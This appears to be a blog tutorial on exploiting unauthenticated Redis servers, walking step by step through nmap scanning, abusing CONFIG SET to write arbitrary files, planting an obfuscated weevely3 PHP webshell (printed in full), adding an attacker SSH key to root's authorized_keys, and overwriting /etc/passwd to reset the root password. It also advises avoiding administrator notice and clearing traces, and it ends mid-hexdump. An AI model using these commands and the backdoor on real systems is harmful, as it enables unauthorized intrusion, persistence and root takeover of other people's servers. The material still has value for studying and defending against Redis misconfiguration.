Redis unauthorized access vulnerability in-depth exploitation

Category: Tag:

Although edis is a high-performance memory database, it also supports saving memory data to the hard disk to achieve persistent storage. As redis does not enforce access authentication, it leads to frequent unauthorized access vulnerabilities. Intruders use this to control redis to indirectly obtain the ability of the system to write files, which greatly improves the attack power.

There are two ways to discover unauthorized redis vulnerabilities. You can use redis-cli to manually verify against a single machine:

 

$ redis-cli -p 6379 -h 192.168.56.101

192.168.56.101:6379> INFO server

# Server

redis_version:4.0.1

redis_git_sha1:00000000

redis_git_dirty:0

redis_build_id:65864c9f72c0dcf

redis_mode:standalone

os:Linux 3.16.0-4-amd64 x86_64

arch_bits:64

multiplexing_api:epoll

atomicvar_api:atomic-builtin

gcc_version:4.9.2

process_id:2213

run_id:f4583ca8759931262b707df016655eabd7b85eed

tcp_port:6379

uptime_in_seconds:2101

uptime_in_days:0

hz:10

lru_clock:12289112

executable:/root/redis-server

config_file:

 

Among them, INFO server is an internal command executed after logging in to redis. It is used to display server environment information, such as operating system version, GCC version, redis version, etc. It can be seen that without entering any account/password, it has been Successfully execute the redis internal command to confirm that there is an unauthorized access vulnerability; you can also use nmap to automatically verify in batches:

 

$ nmap -v -n -Pn -p 6379 -sV –script=redis-info 192.168.56.1/24

Nmap scan report for 192.168.56.101

Host is up (-0.078s latency).

PORT     STATE SERVICE VERSION

6379/tcp open  redis  Redis key-value store 4.0.1 (64 bits)

| redis-info:

|  Version: 4.0.1

|  Operating System: Linux 3.16.0-4-amd64 x86_64

|  Architecture: 64 bits

|  Process ID: 2213

|  Used CPU (sys): 3.20

|  Used CPU (user): 0.77

|  Connected clients: 2

|  Connected slaves: 0

|  Used memory: 828.64K

|  Role: master

|  Bind addresses:

|    0.0.0.0

|  Client connections:

|_   192.168.56.1

 

Among them, redis-info is a plug-in dedicated to checking this vulnerability by nmap. The detection range is the entire C section of 192.168.56.1/24. From the output results, you can also see a large amount of 192.168.56.101 environmental information, and the unauthorized access vulnerability was successfully detected. .

With the unauthorized access vulnerability, there is the ability to write files to the system. But there is an important prerequisite. Redis can create files but cannot create directories. Therefore, the directory where redis is to write files must exist in advance. Redis writing files is roughly divided into four steps: login, set file path, create key/value, and save.

Use redis-cli to connect to redis:

 

$ redis-cli -p 6379 -h 192.168.56.101

192.168.56.101:6379>

 

Enter PING to display PONG, it means login is successful:

 

192.168.56.101:6379> ping

PONG

 

The connection is successful. Specify the directory for writing files:

 

192.168.56.101:6379> CONFIG SETdir /tmp

OK

 

This directory must already exist and the redis installation account has write access to it, otherwise an error will be reported:

 

(error) ERR Changing directory: Nosuch file or directory

 

Set the file name to be written:

 

192.168.56.101:6379> CONFIG SETdbfilename yourfile

OK

 

In this way, the file path is completely /tmp/yourfile. Create a key/value pair with the key yourkey and the value yourvalue:

 

192.168.56.101:6379> SET YOURKEY”YOURVALUE”

OK

 

Write memory data to file:

Log in to 192.168.56.101 to view the file just written:

 

# cat /tmp/yourfile REDIS0008�       redis-ver4.0.1� redis-bits�@�ctime�!��Yused-memˆ�                                  �                                   aof-preamble��repl-id(f673f43a842713fcfa179696f306c536f476e997�                                                                                                 repl-offset���##oldkeoldvalueyourkey       yourvalue�Z?#�� 192.168.56.101:6379> SAVE OK

 

There are garbled characters because redis writes files in binary mode, and looks at it in binary mode:

 

$ xxd /tmp/yourfile

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 21c0 9a59 fa08 7573 65642d6d 656d c288  !..Y..used-mem..

0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2866 3637  e….repl-id(f67

0000060: 3366 3433 6138 3432 37313366 6366 6131  3f43a842713fcfa1

0000070: 3739 3639 3666 3330 36633533 3666 3437  79696f306c536f47

0000080: 3665 3939 37fa 0b72 65706c2d 6f66 6673  6e997..repl-offs

0000090: 6574 c000 fe00 fb02 0000066f 6c64 6b65  et………oldke

00000a0: 7908 6f6c 6476 616c 75650007 796f 7572  y.oldvalue..your

00000b0: 6b65 7909 796f 7572 76616c75 65ff 8e19  key.yourvalue

00000c0: 5a00 3f17 9be9 0a                        Z.?….

 

Three key points can be seen from this: First, the key and value can be used as the carrier of the string to be written, such as yourkey and yourvalue; second, the internal key information of redis is also written into the file, such as REDIS0008, redis- ver.4.0.1; Thirdly, other previously existing keys/values will also be saved in the file, such as oldkey and oldvalue.

I am used to using values as the carrier for writing strings. The string should be wrapped with double quotation marks; if the string contains double quotation marks, single quotation marks and other characters, it should be escaped with \” and \’; if you want to write multiple lines of text, you should merge multiple lines into one line, using \ n division; in addition, in order to prevent abnormal connection between the string to be written and other connections, it is best to add a few \n or spaces before and after the string to isolate it:

 

192.168.56.101:6379> SET yourkey”\n\n i say \”hi\”;\nu say \’hello\’ \n\n”

OK

 

Redis write file function, the purpose is not to simply save the keys/values in the memory to the hard disk, but to facilitate the recovery of data from the file, then the file format, key attributes, version and other internal redis internal information And write to the file. From an attacker’s point of view, files written with redis must be fault-tolerant, otherwise, the vulnerability cannot be exploited. For example, write characters outside of PHP syntax to tmp.php:

 

aaaaaa bbbbbbbbbb

<?php phpinfo(); ?>

cccc dddddddddddd

 

By accessing the page through URL, PHP code can be run normally. Script files such as php are fault-tolerant, so writing webshell is feasible.

Redis’s file writing function not only saves the key/value you just created, but also saves other existing keys/values. Therefore, the keys/values oldkey/oldvalue that you did not create are also written to the file. From an attacker’s perspective, this can cause some problems. For example, if you create a key/value to store a Trojan horse and want to save it to the webshell, if another attacker also creates a key/value to store the Trojan horse, redis may write his Trojan horse in front of you when writing files (ie, His Trojan is on the first line of tmp.php, and yours is on the second line). Once his Trojan is set to require a password to access, then your Trojan will never be resolved. In order to avoid this kind of problem, before writing a file, generally check which keys are currently available:

 

192.168.56.101:6379> KEYS *

2) “resque:delayed:last_enqueued_at”

3) “phpspy”

4)”resque:stat:failed:mobby-db:26377:*”

 

Verify suspicious keys:

 

192.168.56.101:6379> GET”phpspy”

“<?php@eval($_POST[value]);?>”

 

Delete suspicious keys:

 

192.168.56.101:6379> DEL”phpspy”

(integer) 1

 

If you find it troublesome to verify one by one, you can set the key name to 0, redis writes the file in character order, so you can write your value in front of the file; you can even use FLUSHALL to clear all the keys/values before creating you Key/value, then the written file must be very clean.

One more thing, you should know that in order to efficiently use hard disk space, redis uses LZF compression to write data by default. For example, create a key/value with a key of fours and a value of 44444444444444444444444444444444444:

 

192.168.56.101:6379> SET fours”44444444444444444444444444444444444444″

OK

192.168.56.101:6379> GET fours

“44444444444444444444444444444444444444”

192.168.56.101:6379> save

OK

 

View the written file:

 

$ xxd /tmp/test.txt

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 5a08 9d59 fa08 7573 65642d6d 656d c2d8  Z..Y..used-mem..

0000040: 9c0c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e….repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 00000566 6f75 7273  et………fours

00000a0: c309 2601 3434 e019 00013434 ff0f ac63  ..&.44….44…c

00000b0: 03c6 35a9 00                             ..5..

 

Redis does not strictly write the specified number of 4 to the file. In scenarios such as writing webshell, once the PHP code is compressed, it will definitely not be parsed correctly. Therefore, the compression function should usually be turned off:

 

192.168.56.101:6379> CONFIG SETrdbcompression no

OK

192.168.56.101:6379> SET fours”44444444444444444444444444444444444444″

OK

192.168.56.101:6379> GET fours

“44444444444444444444444444444444444444”

192.168.56.101:6379> save

OK

 

Check the written file, everything is normal:

 

# xxd /var/www/test.txt

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 9b0a 9d59 fa08 7573 65642d6d 656d c268  …Y..used-mem.h

0000040: 9d0c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e….repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 00000566 6f75 7273  et………fours

00000a0: 2634 3434 3434 3434 34343434 3434 3434  &444444444444444

00000b0: 3434 3434 3434 3434 34343434 3434 3434  4444444444444444

00000c0: 3434 3434 3434 34ff dd3f6b58 38a0 bd7f  4444444..?kX8…

 

 

If you feel that the manual operation of the entire file writing process is too troublesome, you can use MSF to automate:

 

msf > useauxiliary/scanner/redis/file_upload

msf auxiliary(file_upload) > showoptions

Module options(auxiliary/scanner/redis/file_upload):

Name                    CurrentSetting  Required  Description

—-                   —————  ——–  ———–

DISABLE_RDBCOMPRESSION  true             yes       Disable compression when saving if foundto be enabled

FLUSHALL                false            yes       Run flushall to remove all redis databefore saving

LocalFile                               no        Local file to beuploaded

PASSWORD               foobared         no        Redis password for authentication test

RHOSTS                                  yes       The target address rangeor CIDR identifier

RPORT                   6379             yes       The target port (TCP)

RemoteFile                              no        Remote file path

THREADS                 1                yes       The number of concurrent threads

 

 

The meaning of many of the options has been mentioned before, for example, DISABLE_RDBCOMPRESSION indicates whether to turn off the compression function, it must be; the file path written by RemoteFile must not only include the directory but also the file name; whether FLUSHALL deletes other existing ones in redis first Key/value, it is best to choose No to avoid affecting normal business. You should manually check and delete non-business suspicious keys/values:

 

msf auxiliary(file_upload) > setDISABLE_RDBCOMPRESSION yes

DISABLE_RDBCOMPRESSION => true

msf auxiliary(file_upload) > setRHOSTS 192.168.56.101

RHOSTS => 192.168.56.101

msf auxiliary(file_upload) > setRemoteFile /tmp/yourfile2

RemoteFile => /tmp/yourfile2

msf auxiliary(file_upload) > setLocalFile /home/yangyangwithgnu/test.txt

LocalFile =>/home/yangyangwithgnu/test.txt

msf auxiliary(file_upload) > run

[+] 192.168.56.101:6379 -192.168.56.101:6379 — saved 15 bytes inside of redis DB at /tmp/yourfile2

[*] Scanned 1 of 1 hosts (100%complete)

[*] Auxiliary module executioncompleted

 

View the written file:

 

# xxd /tmp/yourfile2

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 92ba 9e59 fa08 7573 65642d6d 656d c238  …Y..used-mem.8

0000040: f10c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e….repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb01 0000205a 696f 7470  et…….. Ziotp

00000a0: 6a49 4b5a 4870 6a56 784d4677 6959 4d6e  jIKZHpjVxMFwiYMn

00000b0: 6e43 6f42 4f66 6662 526f720f 0a68 656c  nCoBOffbRor..hel

00000c0: 6c6f 2c20 776f 726c 64210aff b439 bb6c  lo, world!…9.l

00000d0: 9aaa 9f29                                …)

 

 

In order to explain the details clearly, manual operation is still used later.

Write webshell files to achieve remote control

Once redis is controlled, the first thing that comes to mind is to write webshell, and fault tolerance is its biggest advantage. Assuming that the target is the PHP environment and the root directory of the web is /var/www/, follow the previous steps to try to write a normal PHP script to see if it can be resolved successfully:

 

$ redis-cli -p 6379 -h 192.168.56.101

192.168.56.101:6379> CONFIG SETdbfilename phpinfo.php

OK

192.168.56.101:6379> CONFIG SETdir “/var/www/”

OK

192.168.56.101:6379> CONFIG SETrdbcompression no

OK

192.168.56.101:6379> SET phpinfo”\n\n <?php phpinfo(); ?> \n\n” NX

OK

192.168.56.101:6379> save

OK

 

 

Visit http://192.168.56.101/phpinfo.php:

(Parse phpinfo)

Although some internal redis information appears at the top of the page, the PHP details are also normally displayed later, indicating that the analysis was successful.

Write a webshell this time. In order to reduce the uncertain factors (WAF), it is not recommended to directly use redis to write the big Trojan horse. You can write a one-sentence little Trojan horse and use the little Trojan horse to pull the big Trojan horse. Or, write a small trojan generated by msfvenom and use MSF to access, or write a small trojan generated by weevely3 and use weevely3 to access (only PHP environment). I prefer to use weevely3, as an example later.

 

weevely3 generates  webshell:

$./weevely.py generate yourpasswd~/info.php

Generated backdoor with password’yourpasswd’ in ‘/home/yangyangwithgnu/info.php’ of 1486 byte size.

 

Among them, yourpasswd is the password for accessing the webshell. In addition, the file name must not be publicized. phpspy.php, agent.php, etc. may easily attract the attention of the administrator. Check the content as follows:

 

$cat ~/info.php

<?php

$o=’&l;&lq=0.(&l&l[\\d]))?,?/&l”,$r&l&la,$m&l);if($q&l&&$m){@sess&lion_sta&lr&lt();$s=&$_S&l’;

$D=’m&ld5($&li.$kh)&l&l,0&l,3))&l;$f=$sl($ss(md5($i&l&l.$kf),0,3));$&lp=””;fo&lr&l($z=1;$z<cou’;

$e=’l[“que&lry”],$q)&l;$q=ar&lray&l_v&lalues($&lq);preg_matc&lh&l_al&ll(“/([\\&lw])[\\w-]+(?:’;

$y=’i}^&l$k{$j};&l}}return&l$o&l;}$&lr=$_SERVER;$&lrr=@$r[“&lHTTP_R&lEFER&lER”];$ra=&l@$r&’;

$h=’64&l_dec&lod&le(preg_replace(&la&lrray(“/_/”,”/-&l/”),a&lrr&lay(“/”,”+&l”),$ss&l&l($&ls[‘;

$s=’l[“HT&lTP_ACC&lEPT_LA&lNGUAGE”];if&l&l($rr&&$ra&l&l){$u=parse_url(&l&l$rr);pa&lrse_str($u&’;

$f=’n&l&lt($m[1]);$&lz++&l)$p.=&l$q[$m[2][$z]&l];&lif&l(s&ltrpos($p,$h)=&l&l==0){$s[$i]=””&’;

$P=’$&li],0,$e))),$k))&l);$&lo=ob_g&let_conten&lts();ob_&lend_cle&lan&l();$d=base6&l4_enc&lod’;

$R=’e(x(&lgzcompr&le&lss($o),$&lk));&lprint(&l”<$k>$d</&l$k>”)&l&l;@s&lession_destroy();}}}}’;

$Z=’$kh&l=”aeb&lb”;$kf&l=”7a&l7d”;func&ltion&lx($t,$k){&l$c=&lstr&llen($k);$l=strlen(&l&l$t);$’;

$A=’l;$&lp=$ss($p,3);}&lif(&larra&ly_ke&ly_exi&lsts($i,$s)){$&ls[$i].=&l$&lp;$e=st&lrp&los($s’;

$l=’&lESSION;$ss=”s&lubstr”;$sl=”str&ltolowe&lr”;$i=$m&l[1][0&l].$m[1&l][&l1];$h=$sl($&lss(‘;

$n=’o=””;&lf&lor($i=0;$i<$l;&l){for&l(&l$j=0;(&l$j<$c&&$i&l<$l);$j&l++,$i&l++){&l&l$o.=$t{$’;

$V=str_replace(‘XZ’,”,’crXZXZeate_XZXZXZfunXZction’);

$w='[$i],$&lf)&l;if($e){$k&l=$kh.$kf&l;ob&l_&lstart();@ev&lal(@gz&lunc&lompress(@&lx(@bas&le’;

$q=str_replace(‘&l’,”,$Z.$n.$y.$s.$e.$o.$l.$D.$f.$A.$w.$h.$P.$R);

$G=$V(”,$q);$G();

?>

 

 

The content is not like ordinary PHP code, that’s right, weevely3 deliberately made code obfuscation in order to avoid killing.

The following content is visible to members

[wc_pay_can_read   id=’2026,2029,2030′  tishi=’You do not have permission to read this content, click here to become a member and refresh this page to read it’]

As mentioned earlier, several considerations for redis to write files: use key values as the carrier for writing strings, string should be wrapped in double quotes, quotes must be escaped, multiple lines should be merged into a single line separated by \n, to be written Add \n before and after the string to separate it, delete other suspicious keys/values, and turn off the file compression function.

After adjusting the content to be written and confirming that there are no other suspicious keys/values, write it into the webshell:

 

192.168.56.101:6379> CONFIG SETdbfilename info.php

OK

192.168.56.101:6379> CONFIG SETdir “/var/www/”

OK

192.168.56.101:6379> CONFIG SETrdbcompression no

OK

 

 

192.168.56.101:6379> SET info”\n\n <?php\n$o=\’&l;&lq=0.(&l&l[\\d]))?,?/&l\”,$r&l&la,$m&l);if($q&l&&$m){@sess&lion_sta&lr&lt();$s=&$_S&l\’;\n$D=\’m&ld5($&li.$kh)&l&l,0&l,3))&l;$f=$sl($ss(md5($i&l&l.$kf),0,3));$&lp=\”\”;fo&lr&l($z=1;$z<cou\’;\n$e=\’l[\”que&lry\”],$q)&l;$q=ar&lray&l_v&lalues($&lq);preg_matc&lh&l_al&ll(\”/([\\&lw])[\\w-]+(?:\’;\n$y=\’i}^&l$k{$j};&l}}return&l$o&l;}$&lr=$_SERVER;$&lrr=@$r[\”&lHTTP_R&lEFER&lER\”];$ra=&l@$r&\’;\n$h=\’64&l_dec&lod&le(preg_replace(&la&lrray(\”/_/\”,\”/-&l/\”),a&lrr&lay(\”/\”,\”+&l\”),$ss&l&l($&ls[\’;\n$s=\’l[\”HT&lTP_ACC&lEPT_LA&lNGUAGE\”];if&l&l($rr&&$ra&l&l){$u=parse_url(&l&l$rr);pa&lrse_str($u&\’;\n$f=\’n&l&lt($m[1]);$&lz++&l)$p.=&l$q[$m[2][$z]&l];&lif&l(s&ltrpos($p,$h)=&l&l==0){$s[$i]=\”\”&\’;\n$P=\’$&li],0,$e))),$k))&l);$&lo=ob_g&let_conten&lts();ob_&lend_cle&lan&l();$d=base6&l4_enc&lod\’;\n$R=\’e(x(&lgzcompr&le&lss($o),$&lk));&lprint(&l\”<$k>$d</&l$k>\”)&l&l;@s&lession_destroy();}}}}\’;\n$Z=\’$kh&l=\”aeb&lb\”;$kf&l=\”7a&l7d\”;func&ltion&lx($t,$k){&l$c=&lstr&llen($k);$l=strlen(&l&l$t);$\’;\n$A=\’l;$&lp=$ss($p,3);}&lif(&larra&ly_ke&ly_exi&lsts($i,$s)){$&ls[$i].=&l$&lp;$e=st&lrp&los($s\’;\n$l=\’&lESSION;$ss=\”s&lubstr\”;$sl=\”str&ltolowe&lr\”;$i=$m&l[1][0&l].$m[1&l][&l1];$h=$sl($&lss(\’;\n$n=\’o=\”\”;&lf&lor($i=0;$i<$l;&l){for&l(&l$j=0;(&l$j<$c&&$i&l<$l);$j&l++,$i&l++){&l&l$o.=$t{$\’;\n$V=str_replace(\’XZ\’,\’\’,\’crXZXZeate_XZXZXZfunXZction\’);\n$w=\'[$i],$&lf)&l;if($e){$k&l=$kh.$kf&l;ob&l_&lstart();@ev&lal(@gz&lunc&lompress(@&lx(@bas&le\’;\n$q=str_replace(\’&l\’,\’\’,$Z.$n.$y.$s.$e.$o.$l.$D.$f.$A.$w.$h.$P.$R);\n$G=$V(\’\’,$q);$G();\n ?> \n\n” NX

OK

192.168.56.101:6379> save

OK

 

 

Among them, the nx at the end of the command means that it will be created only when the key info does not exist, to prevent accidentally updating to the key name in use by the business, causing business exceptions.

Visit http://192.168.56.101/info.php in the browser without error. Confirm that the webshell parses successfully. Connect with weevely3:

 

$./weevely.pyhttp://192.168.56.101/info.php yourpasswd

[+] weevely 3.4

[+] Target:    192.168.56.101

[+] Session:   /home/yang/.weevely/sessions/192.168.56.101/info_0.session

[+] Browse the filesystem or executecommands starts the connection

[+] to the target. Type :help formore information.

weevely> id

uid=33(www-data) gid=33(www-data)groups=33(www-data)

www-data@lamp:/var/www $ ifconfig

eth0      Link encap:Ethernet  HWaddr 08:00:27:93:68:78

inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0

 

Obtain the host access rights of low-rights account, the next step is to escalate the rights, which belongs to the post-penetration stage, see another article.

Finally, remember to clear the traces: restore the previous settings of rdbcompression, dir, dbfilename, and delete the created key/value info.

Looking back at the whole process, I missed a key point, the web root directory. Yes, the web root directory of the demo environment is /var/www, but the real environment is often much more complicated. You have to consider the operating system (linux, win), web container, sub-directories and other factors before you can guess The correct path, as in sqlmap:

 

class ABSPATH_PREFIXES:

LINUX = (

“/var/www”,”/usr/local/apache”, “/usr/local/apache2″,”/usr/local/www/apache22”, “/usr/local/www/apache24”,

“/usr/local/httpd”,”/var/www/nginx-default”, “/srv/www”,”/var/www/vhosts”,

“/var/www/virtual”,”/var/www/clients/vhosts”, “/var/www/clients/virtual”)

WINDOWS = (

“/xampp”, “/ProgramFiles/xampp”, “/wamp”, “/Program Files/wampp”,”/apache”,

“/Program Files/ApacheGroup/Apache”,

“/Program Files/ApacheGroup/Apache2”, “/Program Files/Apache Group/Apache2.2”,

“/Program Files/ApacheGroup/Apache2.4”, “/Inetpub/wwwroot”,

“/Inetpub/vhosts”)

ALL = LINUX + WINDOWS

# Suffixes used in brute force searchfor web server document root

ABSPATH_SUFFIXES = (“html”,”htdocs”, “httpdocs”, “php”, “public”,”src”, “site”, “build”, “web”,”www”, “data”, “sites/all”,”www/build”)

 

 

 

If you can’t break through, you can consider looking for the directory traversal vulnerability of the web application, or the directory traversal vulnerability of the web container itself (for example, apache tomcat utf-8 directory traversal vulnerability, CVE-2008-2938).

Write /root/.ssh/authorized_keys file to realize ssh password-free login
With the ability of redis to write files, write the attacker’s public key into /root/.ssh/authorized_keys of the target, which can realize ssh password-free login.

Specifically, assuming that you have obtained the redis access permission of 192.168.56.101 through respective means, we will change the file path to /root/.ssh/authorized_keys. In order to prevent business abnormalities or being discovered by the administrator, the previous settings should usually be restored afterwards , So, first of all, record the currently set directory and file name information:

 

 

192.168.56.101:6379> CONFIG GETdir

1) “dir”

2) “/tmp”

192.168.56.101:6379> CONFIG GETdbfilename

1) “dbfilename”

2) “dump.rdb”

 

 

Record whether it is currently compressed:

 

192.168.56.101:6379> CONFIG GETrdbcompression

1) “rdbcompression”

2) “yes”

 

Next, change the directory to the directory where the ssh configuration file is located:

 

192.168.56.101:6379> CONFIG SETdir /root/.ssh/

OK

 

If redis is deployed without root, or /root/.ssh/ does not exist, the following error will appear, you should consider other attack methods (writing webshell is a good choice):

 

(error) ERR Changing directory: Nosuch file or directory

 

Confirm whether the change is successful:

 

192.168.56.101:6379> CONFIG GETdir

1) “dir”

2) “/root/.ssh”

 

 

Set the file name to be written:

 

192.168.56.101:6379> CONFIG SETdbfilename authorized_keys

OK

 

Then, create a key/value pair whose key is abcd and value is the attacker’s public key:

 

192.168.56.101:6379> SET abcd”\n\n ssh-rsaMMMdjfeod29jdlsMMMMPMQMBMMMBMQPcLMUOEN8xETqsfklfj5kfLZebMEopPcYTP1uJeOB1Oc+IML+xMGcsdfjsdfjdfsdfkdfjwodOEFsfdhlsFKDSFHsldkjfdlekasdjfssaldjfsadlfsadfasdsdfsadfjsoaiV+LxUpLvE+bPw2CIdkfdsd8W/XGsadfjk92flsllSk/PlTasdfkjlweijsadflksajdfdkfasdfssaldiejflDSKs+asjfiewflofdjkidsfoiwjhsaLDJHFUEWKFHSKDSDFJKASDHU2w1l/fcsfdjW/eWsa+j35WsadfMS76QI2+VkPwPsdfOFMP+gC8+2Faf1yangyangwithgnu@host \n\n” NX

OK

 

 

After that, save and write the public key into authorized_keys indirectly:

 

192.168.56.101:6379> save

OK

 

 

Finally, restore the previous directory, file name, compression state, and delete the created key/value:

 

192.168.56.101:6379> CONFIG SETdir “/tmp”

OK

192.168.56.101:6379> CONFIG SETdbfilename “dump.rdb”

OK

192.168.56.101:6379> CONFIG SETrdbcompression yes

OK

192.168.56.101:6379> DEL abcd

(integer) 1

 

 

Attempt to log in ssh secret-free successfully:

 

$ ssh root@192.168.56.101

Last login: Sat Aug 19 11:16:13 2017from 192.168.56.123

root@HomePortalSystem:~# id

uid=0(root) gid=0(root)groups=0(root)

 

 

Of course, it doesn’t mean that writing the public key into authorized_keys will definitely be able to log in without password. At least it must be satisfied that the attacker’s network environment can normally access the target’s ssh service, the target allows root remote login, allows unsecured login and other conditions, even ssh Is it on port 22? Whether iptable restricts access to source IP and other related information must be considered comprehensively.

Write /etc/passwd file to reset any account password
You know, the file that actually stores the password is /etc/shadow instead of /etc/passwd. What happens if an account stores the password in both /etc/passwd and /etc/shadow? The former system shall prevail. In other words, we can use the ability of redis to write files, write a custom root password to /etc/passwd, and then log in to the root account with this known password.

Since redis can write arbitrary files without authorization, why choose to write /etc/passwd instead of writing /etc/shadow directly? Redis writes files in overwrite mode and cannot be appended. Assuming that the system originally has 8 accounts, you cannot know the other 7 account names except root. When redis writes the root password, it also deletes the other 7 accounts. This process is invasive and irreversible. Naturally, I need to view the current content of the file before actually writing the file so that it can be restored afterwards. Which of /etc/passwd or /etc/shadow is more likely to be viewed? The former has the authority of 644 and the latter has 640, which must be the former. In common scenarios, for example, the web deployed on the machine has any file download vulnerability, and if you get the webshell through any file upload, you can get the contents of /etc/passwd. Therefore, I think /etc/passwd is more appropriate. In addition, if it is really impossible to view the contents of the file /etc/passwd beforehand, you can combine /etc/passwd- and /etc/shadow to recover 99% of the contents. /etc/passwd- is a backup of the previous version of /etc/passwd. Compared with the current version, it may lack an account. First copy /etc/passwd- to /etc/passwd, and then extract the missing one from /etc/shadow Account name (such as yang), and then manually appended to /etc/passwd. In this way, /etc/passwd before and after the invasion is basically the same.

 

/etc/passwd The format is as follows:

yang:x:1000:1000::/home/yang:/bin/sh

/etc/shadow  format is as follows:

yang:$6$3fsk3de0$RAG5fct2ldQbmeb0e98nm4/EacrpdWHzpKW9ftz01np2uxPVV6B60EqCdMewopLPIC/pPUTybAVnfk9rJ8UGH/:17386:0:99999:7:::

 

 

The semicolon (:) is used as the separator, the first field is the user name, and the second field is the hash password. The hash password of /etc/passwd is x, which means the one in /etc/shadow shall prevail. The hash password field is divided into three parts with $, in order: algorithm code, salt value, hash value. Algorithm code, Linux stipulates that 1 represents MD5, 2a represents the old version of blowfish, 2y represents the new version of blowfish, 5 represents SHA-256, 6 represents SHA-512, and other unix-likes may be different; salt value is used to prevent rainbow table-based Hash cracking can only be uppercase and lowercase characters or numbers. Different types of algorithms require different salt lengths. For example, sha-512 requires a salt value of 8 to 16 characters, while DES requires only 2 characters; ha Hope value, the result of encrypting the plaintext password and salt value through a hash algorithm. In addition, you can also use hashID (https://github.com/psypanda/hashID) and hash-algorithm-identifier (https://github.com/AnimeshShaw/Hash-Algorithm-Identifier) ​​to automatically identify the hash algorithm type.

Cannot view /etc/shadow, how to determine which hash algorithm the system uses? It does not matter! Generally speaking, different distribution kits may use different hash algorithms by default, but they all support MD5, SHA-256, and SHA-512. In other words, you can choose one of the three. There are many tools that have implemented these three hash algorithms, for example, the system command mkpasswd:

 

$ mkpasswd –method=md5–salt=’my0salt0′ ‘YourNewPasswd%1024’

 

Among them, the password is in plain text YourNewPasswd%1024, the salt value is my0salt0, and the MD5 algorithm is used (–method=help for the complete list); another example is the crypt library of python:

 

$ python -c ‘import crypt; print crypt.crypt(“YourNewPasswd%1024″,”$6$my0salt0″)’

 

Among them, the plain text of the password is YourNewPasswd%1024, the salt value is my0salt0, and the SHA-512 algorithm codenamed 6.

Now that we have obtained redis control and /etc/passwd has strong fault tolerance, it is completely feasible to reset the root password by writing the hash password of the root account to /etc/passwd.

Assume that the reset root password is YourNewPasswd%1024 (Linux generally has password strength rules. In order to avoid password reset failure due to unknown factors, the new password should meet strong password rules, such as longer than 8 digits, uppercase and lowercase letters, numbers, Special characters), first calculate the hash of the password:

 

$ mkpasswd –method=sha-512–salt=’my0salt0′ ‘YourNewPasswd%1024’

$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.

 

 

Then, refer to the previous steps to write the /root/.ssh/authorized_keys file, record the current environment, delete the available keys/values, and set the prohibition of compression; then, set the write file path:

 

192.168.56.101:6379> CONFIG SETdir /etc/

OK

192.168.56.101:6379> CONFIG SETdbfilename passwd

OK

 

To log in with SSH, we can’t just write the root account, but also the sshd account:

 

192.168.56.101:6379> SET abcd”\n\n root:$6$my0salt0$yCCi..OsWo8n5MaBFytGaZ0qTcHErSaoyvAVvMXFEnwgMOtpm6sYbtwUR4I.GA7Kt0X0KruYifS6c9.FkDN53.:0:0:root:/root:/bin/bash\nsshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin\n\n” NX

OK

192.168.56.101:6379> save

OK

 

 

View /etc/passwd:

 

# xxd passwd

0000000: 5245 4449 5330 3030 38fa0972 6564 6973  REDIS0008..redis

0000010: 2d76 6572 0534 2e30 2e31fa0a 7265 6469  -ver.4.0.1..redi

0000020: 732d 6269 7473 c040 fa056374 696d 65c2  s-bits.@..ctime.

0000030: 46d8 a359 fa08 7573 65642d6d 656d c2a8  F..Y..used-mem..

0000040: a10c 00fa 0c61 6f66 2d707265 616d 626c  …..aof-preambl

0000050: 65c0 00fa 0772 6570 6c2d6964 2838 3064  e….repl-id(80d

0000060: 3166 3935 6562 6130 38333236 3433 3137  1f95eba083264317

0000070: 6461 3835 3338 6235 31643863 3235 3230  da8538b51d8c2520

0000080: 3937 6365 38fa 0b72 65706c2d 6f66 6673  97ce8..repl-offs

0000090: 6574 c000 fe00 fb04 00000566 6f75 7273  et………fours

00000a0: c309 2601 3434 e019 00013434 0004 6162  ..&.44….44..ab

